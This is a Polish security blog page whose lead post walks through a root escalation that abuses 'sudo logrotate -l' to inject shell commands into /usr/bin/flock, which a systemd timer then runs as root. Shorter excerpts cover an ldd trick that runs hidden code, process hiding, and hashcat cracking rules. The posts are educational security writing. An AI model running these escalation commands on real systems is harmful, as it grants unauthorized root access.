NFsec Logo

Uciekając z sudo – część piąta

04/10/2023 w Bezpieczeństwo Możliwość komentowania Uciekając z sudo – część piąta została wyłączona

K

olejna część ucieczki z sudo będzie opierała się na wykorzystaniu programu logrotate. Zakładamy, że w systemie (tutaj Ubuntu 22.04) jest zainstalowany pakiet man-db, a użytkownik posiada możliwość uruchamiania programu logrotate z dowolnymi argumentami:

agresor ALL=(ALL:ALL) NOPASSWD: /usr/sbin/logrotate *

Okazuje się, że jeśli użyjemy parametru -l jesteśmy w stanie nadpisać zawartość dowolnego pliku traktując go jako dziennik wykonania programu logrotate. Dlatego możliwości wykorzystania tej luki są wszechstronne. Dla eskalacji uprawnień najlepszym scenariuszem jest, aby nadpisywany plik był wykonywany z uprawnieniami administratora. Przykładem tutaj może być skrypt znajdujący się w ścieżce: /etc/cron.daily/man-db. Uruchamiając logrotate za pomocą poleceń:

sudo logrotate -l /etc/cron.daily/man-db \
'2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;'

Nadpiszemy zawartość skryptu man-db tekstem:

error: cannot stat 2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;
: No such file or directory
Reading state from file: /var/lib/logrotate/status
Allocating hash table for state file, size 64 entries

I w tym momencie może się nam wydawać, że wystarczy poczekać jeden dzień na kolejne uruchomienie daemona cron(tab), aby skrypt uruchomił polecenie usermod i dodał użytkownika agresor do grupy administracyjnej. Nic bardziej mylnego – ponieważ każdy skrypt umieszczony w ścieżkach /etc/cron.(daily|weekly|monthly) musi zaczynać się od sekwencji shebang. W przeciwnym wypadku otrzymamy błąd run-parts: failed to exec script.sh: Exec format error:

root@darkstar:~# test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
/etc/cron.daily/man-db:
run-parts: failed to exec /etc/cron.daily/man-db: Exec format error
run-parts: /etc/cron.daily/man-db exited with return code 1

We need to go deeper…

Skoro skrypt w pierwszej linii wykonywania musi mieć odpowiedni format – to może warto zmodyfikować jakiś nieznaczący plik wewnątrz tego skryptu? Zresztą jak spojrzymy w zawartość skryptów w /etc/cron.(daily|weekly|monthly) to większość z nich nie jest wykonywana ze względu na systemd

# Skip if systemd is running.
if [ -d /run/systemd/system ]; then
  exit 0
fi

Spójrzmy zatem, co zamierza z opóźnieniem uruchomić systemd:

root@darkstar:~# systemctl list-timers 
NEXT     
Wed 2023-10-04 00:30:28 CEST 
LEFT
9min 2s left  
LAST
Tue 2023-07-04 18:02:24 CEST 
PASSED
2 months 30 days ago  
UNIT
apt-daily.timer                
ACTIVATES
apt-daily.service

Mamy szczęście. Za 9 minut wystartuje serwis apt-daily. Zobaczmy, co uruchamia:

agresor@darkstar:/usr/bin$ grep Exec /lib/systemd/system/apt-daily.service
ExecStartPre=-/usr/lib/apt/apt-helper wait-online
ExecStart=/usr/lib/apt/apt.systemd.daily update

Skrypt /usr/lib/apt/apt.systemd.daily z argumentem update. Jeśli uruchomimy go z naszego użytkownika może uda znaleźć się plik binarny lub inny skrypt odpowiedni do modyfikacji:

agresor@darkstar:~$ bash -x /usr/lib/apt/apt.systemd.daily update
+ '[' update = lock_is_held ']'
++ apt-config shell StateDir Dir::State/d
+ eval 'StateDir='\''/var/lib/apt/'\'''
++ StateDir=/var/lib/apt/
+ exec
/usr/lib/apt/apt.systemd.daily: line 326: /var/lib/apt//daily_lock: Permission denied
+ flock -w 3600 3
flock: 3: Bad file descriptor
+ echo 'E: Could not acquire lock'
E: Could not acquire lock
+ exit 1

flock wyglada na dobrego kandydata:

cp /usr/bin/flock /tmp/flock_to_restore
sudo logrotate -l /usr/bin/flock \
'2>/dev/null; /usr/bin/echo > /tmp/Pwn3d; /usr/sbin/usermod -a -G root agresor; exit 0;'

I rzeczywiście po uruchomieniu przez apt-daily.timer serwisu apt-daily.service wyzwolił on zmodyfikowany plik /usr/bin/flock, który wykonał w systemie nasze instrukcje z prawami administratora:

root@darkstar:~# grep apt-daily.service /var/log/syslog
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Deactivated successfully.
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Consumed 31.311s CPU time.
root@darkstar:~# ls -al /tmp/Pwn3d
-rw-r--r-- 1 root root 1 Oct  4 00:30 /tmp/Pwn3d
root@darkstar:~# id agresor
uid=1000(agresor) gid=1000(agresor) groups=1000(agresor),0(root)

Przy okazji omawiania tego przykładu warto wspomnieć o projekcie, który powstał na bazie GTFOBins. GTFOArgs to wyselekcjonowana lista plików binarnych systemów *nix, którymi można manipulować w celu wstrzykiwania argumentów, co może skutkować powstawaniem luk w zabezpieczeniach, czego byliśmy właśnie świadkami.

Więcej informacji: root with a single command: sudo logrotate, Another way to exploit ‘sudo logrotate’, Abusing a race condition in logrotate to elevate privileges

Brak sympatii dla negatywnych uprawnień

16/09/2023 w Bezpieczeństwo Możliwość komentowania Brak sympatii dla negatywnych uprawnień została wyłączona

S

ystem Linux oferuje różnorodne metody przyznawania uprawnień do plików. Oprócz tradycyjnej, uznaniowej kontroli dostępu (DACDiscretionary Access Control) obsługuje również listy kontroli dostępu (ACLAccess Control Lists) i obowiązkową kontrolę dostępu (MACMandatory Access Control). Wszystkie te mechanizmy działają na podstawie przyznawania uprawnień, gdy domyślnie nic nie jest dozwolone. To podejście jest również czasami określane jako listy dostępowe (ang. allow list). Analogicznie, jak przy tworzeniu reguł dla zapór sieciowych – blokujemy wszystko i zezwalamy na selektywny ruch. Jednak zarówno DAC i jego rozwinięcie ACL pozwalają na implementację negatywnych uprawnień. Negatyw – występuje tutaj jako pojęcie odwrotności pozytywu – czyli dodawania uprawnień w zupełnie inny sposób niż to przyjęto – odwołując się do poprzedniego przykładu – blokujemy selektywny ruch, ale wszystko inne jest dozwolone. W przypadku dostępu do plików uprawnienia takie uniemożliwiają dostęp określonym użytkownikom lub grupom, gdy wszyscy inni zachowują dostęp. Tego typu praktyka jest raczej rzadkością, za to powszechnie postrzegana jako zła w przypadku uprawnień i ruchu sieciowego.
[ czytaj całość… ]

Wykrywanie ukrytych procesów za pomocą libprocesshider.so

21/08/2023 w Bezpieczeństwo Możliwość komentowania Wykrywanie ukrytych procesów za pomocą libprocesshider.so została wyłączona

W

artykule ukrywanie procesów za pomocą ld.so.preload poznaliśmy zasadę działania podstawowych narzędzi do zarządzania procesami w systemie Linux oraz w jaki sposób za pomocą biblioteki współdzielonej możemy je oszukać. W tej publikacji postaramy się napisać prosty skrypt w języku Python, który za pomocą enumeracji sprawdzi czego nam nie mówią oszukane narzędzia. Jego zasada działania jest bardzo prosta – jego zadaniem jest wejść do katalogu /proc i pobrać wszystkie katalogi, które mają format numeryczny ([0-9]) i dodać je do listy:

proc_path = '/proc'

def process_list_behind_the_fog():
    pid_list = []
    for pid_number in os.listdir(proc_path):
        if os.path.isdir(os.path.join(proc_path, pid_number)):
            if pid_number.isnumeric():
                pid_list.append(int(pid_number))
    return(pid_list)

[ czytaj całość… ]

OneRuleToRuleThemStill

17/08/2023 w Bezpieczeństwo Możliwość komentowania OneRuleToRuleThemStill została wyłączona

M

inęło kilka lat, odkąd Will Hunt stworzył regułę hashcat OneRuleToRuleThemAll. Od tego czasu wprowadzono w niej jedną czy dwie poprawki, ale głównym celem było stworzenie wydajnego zestawu reguł, które nadawałyby się do atakowania szybkich funkcji skrótów, takich jak NTLM, MD5, SHA1/2 itp. Zawiera ona 52.000 reguł, które obejmują najlepsze reguły z domyślnej instalacji programu hashcat jak i te niestandardowe: hob064, best64, T0XICv1, toggles5, InsidePro-PasswordsPro, rockyou-30000, InsidePro-HashManager, d3ad0ne, dive, unix-ninja-leetspeak, generated2, d3adhob0, KoreLogic’s Rockyou50000, _NSAKEY.v2.dive – zostały one przetestowane na około 4.3 miliona niesolonych skrótów MD5 pochodzących z naruszenia bezpieczeństwa danych MineCraft Lifeboat community w 2016 roku.
[ czytaj całość… ]

Ukrywanie procesów za pomocą ld.so.preload

07/08/2023 w Bezpieczeństwo Możliwość komentowania Ukrywanie procesów za pomocą ld.so.preload została wyłączona

P

odczas wykrywania różnego rodzaju szkodliwych procesów zazwyczaj używamy podstawowych poleceń systemowych, takich jak: ps, lsof oraz netstat (lub jego następcę ss). Dla przypomnienia: ps – wyświetla aktualne procesy w systemie; netstat – wyświetla połączenia sieciowe, tablice routingu i statystyki pakietów; lsof – listuje otwarte deskryptory plików i procesy, które je otworzyły. Polecenia te opierają się na prostej koncepcji (w systemach *nix prawie wszystko jest reprezentowane jako deskryptor pliku: pliki, katalogi, połączenia sieciowe, potoki, zdarzenia itd.) i przydają się w wielu sytuacjach. W rezultacie polecenia te mogą zobaczyć wiele rzeczy i być użyte do odpowiedzi na wiele interesujących pytań.
[ czytaj całość… ]

Polecenie ldd i niezaufane pliki binarne

29/07/2023 w Bezpieczeństwo Możliwość komentowania Polecenie ldd i niezaufane pliki binarne została wyłączona

N

iewiele osób zdaje sobie sprawę z faktu, że polecenie ldd służące do wyświetlania bibliotek współdzielonych wymaganych przez dany program nie jest plikiem binarnym tylko skryptem w języku bash:

agresor@darkstar:~$ whereis ldd
ldd: /usr/bin/ldd /usr/share/man/man1/ldd.1.gz
agresor@darkstar:~$ file /usr/bin/ldd
/usr/bin/ldd: Bourne-Again shell script, ASCII text executable

W dodatku, jeśli przeczytamy stronę manualną tego polecenia natchniemy się na taki zapis:

Należy pamiętać, że w pewnych okolicznościach (np. gdy program określa interpreter ELF inny niż ld-linux.so), niektóre wersje ldd mogą próbować uzyskać informacje o zależnościach, próbując bezpośrednio wykonać program, co może doprowadzić do wykonania dowolnego kodu zdefiniowanego w interpreterze programu ELF, a być może do wykonania samego programu (w wersjach glibc 2.27, implementacja upstream ldd na przykład to robiła, chociaż większość dystrybucji dostarczała zmodyfikowaną wersję, która tego nie robiła).

Dlatego nigdy nie należy używać ldd na niezaufanym pliku wykonywalnym, ponieważ może to spowodować wykonanie dowolnego kodu.

Zapis ten znajduje swoją historię w CVE-2009-5064, czyli luce w sposobie, w jaki narzędzie ldd identyfikowało biblioteki dołączane dynamicznie. Jeśli osoba atakująca mogłaby nakłonić użytkownika do uruchomienia ldd na złośliwym pliku binarnym, mogłoby to spowodować wykonanie dowolnego kodu z uprawnieniami użytkownika uruchamiającego ldd. Przykłady takich aplikacji mogą zostać stworzone np. za pomocą osobnej biblioteki C do tworzenia wbudowanych systemów Linux. Wystarczy zlinkować szkodliwy kod z nowym programem ładującym, z którego usuniemy / zakomentujemy wykrywanie zmiennej LD_TRACE_LOADED_OBJECTS:

/*
   if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
           trace_loaded_objects++;
   }
*/

Spowoduje to, że szkodliwy program zostanie uruchomiony przez program ładujący nawet, jeśli narzędzie systemowe ustawi taką zmienną. Teraz w samym programie należy wykrywać w/w zmienną, aby uzależnić od niej wersję uruchomionego kodu:

#include <stdio.h>
#include <stdlib.h>

int main()
{
   /* wykrycie uruchomienia ldd */
   if (getenv("LD_TRACE_LOADED_OBJECTS") != 0) {
      printf("szkodliwy kod\n");
      printf("\tlibc.so.6 => /lib/libc.so.6 (0x4001d000)\n");
      printf("\t/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)\n");
      return 0;
   }

   printf("normalny kod\n");
   return 0;
}

Jak widzimy nie do końca jest bezpieczne uruchamianie ldd na niezaufanych plikach binarnych. Skrypt ldd używa dynamicznego linkera do załadowania pliku binarnego i jego zależności do pamięci, a następnie polega na samym dynamicznym konsolidatorze, aby wyświetlić szczegóły w konsoli. Z tego powodu proces ten może być nadużywany w inny sposób niż zgodnie z przeznaczeniem np. do wstrzyknięcia kodu, jak było to w przypadku CVE-2019-1010023. W jaki więc sposób sprawdzać zależności? Oczywiście nieznane pliki binarne powinny być sprawdzane na specjalnie przygotowanym do tego środowisku. Po drugie możemy skorzystać bezpośrednio z linkera systemowego:

agresor@darkstar:~$ /lib64/ld-linux-x86-64.so.2 --verify /bin/ls \
                    && echo 'Plik obsługiwany!' || echo 'Plik nieobsługiwany!'

Jeśli plik jest obsługiwany, możemy go sprawdzić za pomocą składni:

agresor@darkstar:~$ LD_TRACE_LOADED_OBJECTS=1 /lib64/ld-linux-x86-64.so.2 /bin/ls
	linux-vdso.so.1 (0x00007ffe3b1dd000)
	libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f4b1111f000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4b10ef7000)
	libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f4b10e60000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f4b11177000)

No i proszę. Otrzymujemy dokładnie taki sam wynik, jaki wytworzyłby skrypt ldd (minus różnice w adresach pamięci pod którymi zostały załadowane biblioteki, ale to ze względu na ASLR).

Więcej informacji: ldd(1) and untrusted binaries, Compromising analysis tools, ldd can execute an app unexpectedly, The GNU C Library version 2.27 is now available

Kiedy skrypciaki łykają jak młody pelikan na zimę

13/07/2023 w Bezpieczeństwo Możliwość komentowania Kiedy skrypciaki łykają jak młody pelikan na zimę została wyłączona

3

lipca odnośnik do eksploita umożliwiającego uzyskanie uprawnień administratora w systemie Linux rozprzestrzenił się w różnych społecznościach na Telegramie i Twitterze. Napisała nawet o tym prasa branżowa. Rzekomy kod dowodu koncepcji (Proof of Concept – PoC) błędu opisanego w CVE-2023-35829 niestety okazał się zupełnie czymś innym niż pierwotnie zakładano. Przed usunięciem fałszywego profilu użytkownika ChriSanders22 z serwisu GitHub kod PoC został oznaczony gwiazdką przez ponad 100 użytkowników, a 25’ciu rozgałęziło go na swoje konta. Kilka osób, które uruchomiło kod bez jego weryfikacji zauważyło dziwne zmiany w plikach konfiguracyjnych powłoki bash – $HOME/.bashrc. Jak to? Co ma wspólnego exploit z dopisywaniem czegoś o plików powłoki? Otóż jeśli przyjrzeć się bliżej procesowi kompilacji to można zauważyć, że plik Makefile odwoływał się do binarnego pliku alocal.m4:
[ czytaj całość… ]

CVE-2023-29383 – nadużywanie polecenia chfn do fałszowania danych z /etc/passwd

08/06/2023 w Bezpieczeństwo Możliwość komentowania CVE-2023-29383 – nadużywanie polecenia chfn do fałszowania danych z /etc/passwd została wyłączona

W pakiecie shadow 4.13 możliwe jest wstrzyknięcie znaków kontrolnych do pól dostarczanych do programu SUID chfn (change finger). Chociaż nie jest możliwe wykorzystanie tego błędu bezpośrednio (np.dodanie nowego użytkownika nie powiedzie się, ponieważ znak nowej linii '\n' znajduje się na liście zablokowanych znaków) to możliwe jest sfałszowanie danych wyświetlanych z pliku /etc/passwd. Użycie manipulacji znaków '\r' (CR [carriage return]) i Unicode w celu obejścia znaku “:” umożliwia stworzenie wrażenia, że dodano nowego użytkownika. Innymi słowy, atakujący może być w stanie przekonać administratora systemu do sprawdzenia lub nawet wyłączenia systemu poprzez wykazanie, że polecenie: cat /etc/passwd pokazuje wrogie konto użytkownika.
[ czytaj całość… ]

Szybka analiza znaków i symboli z publikacji danych logowania

03/06/2023 w Bezpieczeństwo Możliwość komentowania Szybka analiza znaków i symboli z publikacji danych logowania została wyłączona

O

prócz analizy najczęściej używanych haseł z publikacji danych logowania – możemy sprawdzić jakie najczęściej znaki pojawiają się w hasłach. Nawet jeśli użytkownicy umieszczają w swoich hasłach do serwisów mieszankę liter, cyfr i symboli to nadal mogą paść ofiarą często używanych kombinacji. Poniższe wyciągi pokazują popularność poszczególnych znaków, aby zidentyfikować znaki na klawiaturze, po które ludzie sięgają najczęściej podczas tworzenia swoich haseł. Liczby takie jak 0, 1 i 2, a także symbole takie jak kropka, podkreślenie i znak “małpy” (“@”) są nadal powszechne i można je łatwo odgadnąć.
[ czytaj całość… ]

Instalowanie tylnych wejść w kluczach OpenSSH

25/05/2023 w Bezpieczeństwo, Pen Test Możliwość komentowania Instalowanie tylnych wejść w kluczach OpenSSH została wyłączona

O

penSSH – Secure Shell Server zapewnia bezpieczny, szyfrowany zdalny dostęp do systemów *niksowych. Po stronie serwera znajduje się plik authorized_keys w katalogu .ssh (głównym folderze użytkownika), w którym można skonfigurować uwierzytelnianie za pomocą klucza publicznego. Przy normalnej konfiguracji użytkownik uzyskuje pełny dostęp do systemu, w którym skonfigurowano uwierzytelnianie. Jednak w niektórych przypadkach, takich jak automatyczne operacje na zdalnych serwerach (np. wdrażanie kodu, tworzenie kopii zapasowych, uruchamianie konkretnych skryptów), sensowne jest ograniczanie dostępu do kilku lub nawet jednego polecenia. Oprócz ograniczenia poleceń dla danego użytkownika zapobiegamy również kompromitacji zdalnego serwera w przypadku przejęcia klucza prywatnego.
[ czytaj całość… ]